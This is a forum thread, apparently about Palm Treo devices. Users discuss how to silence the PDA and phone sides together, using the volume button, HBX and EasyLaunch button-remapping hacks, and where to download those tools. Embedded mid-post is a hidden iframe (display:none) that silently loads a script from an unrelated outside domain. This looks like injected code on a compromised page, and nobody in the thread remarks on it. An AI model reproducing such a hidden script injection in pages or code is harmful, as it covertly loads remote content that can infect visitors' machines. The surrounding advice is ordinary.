    Merging the sound preferences?

    Would it be possible to have a certain hack, or app, which controlled the volume settings for both the PDA and phone sides in one single place?

    I mean, when I put my phone in vibrate, but use the PDA, I still have to go to the Pref Pda app to silence them all, and vice versa. 2 apps, for the same thing.

    I was kinda wondering if there's a way so that if I set my phone to vibrate only, there would be no sounds AT ALL from both sides of this device...or even better, if there's a one app do it all type of thing, with a simple interface that can merge all the sound functions in one easy to find place.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

    When I hold the volume button down until it silences, my entire device only vibrates -- phone and PDA apps alike. Doesn't that work on yours?

    I haven't tried that one yet, but in the Pref apps, silencing one doesnt silence the other

    Yep, what Beryl suggested will silence everything... and it's the quickest way to do it.

    I found a quick easy way to get at both Prefs quickly, HBX.

    Hard button expander also lets you assign an app to the up & down buttons once you press a hard button assigned to hbx.

    For those two hidden app buttons, I have assigned the "up" button for the "Prefs PDA" since it points to the palm side of the phone. And then I assigned the "down" button to the "Prefs Phone" app since it points to the phone keypad.

    It all makes logical sense and I also get 4 more hard key assignments... working so good I might buy the full version of HBX.

    just out of curiosity, which hard button did you sacrifice to the mighty gods of HBX?

    EasyLaunch also works excellently. I assigned stylus strokes to bring up each prefs screen. You can assign buttons too. Steve, does HBX have features missing from EasyLaunch?

    I only use the free version which they only let you assign 4 more apps to the datebook button.

    Once I hit the datebook hard button the menu pops up and reassigns all the buttons, I have the mp3 player on the datebook button so two quick taps and I'm ready to play. Then I have the Calculator assigned to the addressbook HBX and Filez & TealMovie on the other two buttons. (As well as the up & down assigned to the Prefs that I mentioned above)

    So I have to hold it down longer to bring up the default datebook. Works great and gives me stylus free access to 4 more apps and the twp prefs apps.

    I'm not certain, I haven't used EasyLaunch, but HBX works great and I haven't had any problems or crashes as a result of it. (I use X-master for my manager)

    I installed Easy Launch and have tried to get it to assign some apps to holding down hardware buttons and had zero response. No change at all. Is there a trick?

    Dumb question - did you enable the hack on the X-master listing screen?

    Yes, I had at least checked the box. After typing a long response, describing what I was doing, I found the problem. I was continuing to hold the button down, waiting for a response - When I tried holding it down for a second or so, then releasing it, it worked. Learn something new every day - or, in my case, every twenty minutes or so.

    I was forced over to the dark side this weekend. I got my beloved 7135 wet and it died. (I tried taking it apart and drying it out, but it continued to exhibit the same bizarre behavior - dead to the world except for continously vibrating).

    Anyway, I have switched over to the 700p and I'm finding good old HBX to be invaluable!

    Having read the comments about EasyLaunch and HBX I'd like to try them, but I can't seem to find either one. The site commonly quoted for EasyLaunch (www.mujweb.cz/www/hysy/) gives me no response, and I haven't found any sites for HBX so far. Any help would be appreciated.

    I'm not that familiar with either program, though I used the trial version of HBX (which didn't get along with 2Day).

    However, I see HBX at www.palmgear.com and www.handango.com. The developer's site is http://www.ranosoft.net/hbx/index.html

    EasyLaunch (not EasyLaunch5, for OS5) seems to be at palmgear, and is free.

    Good luck.
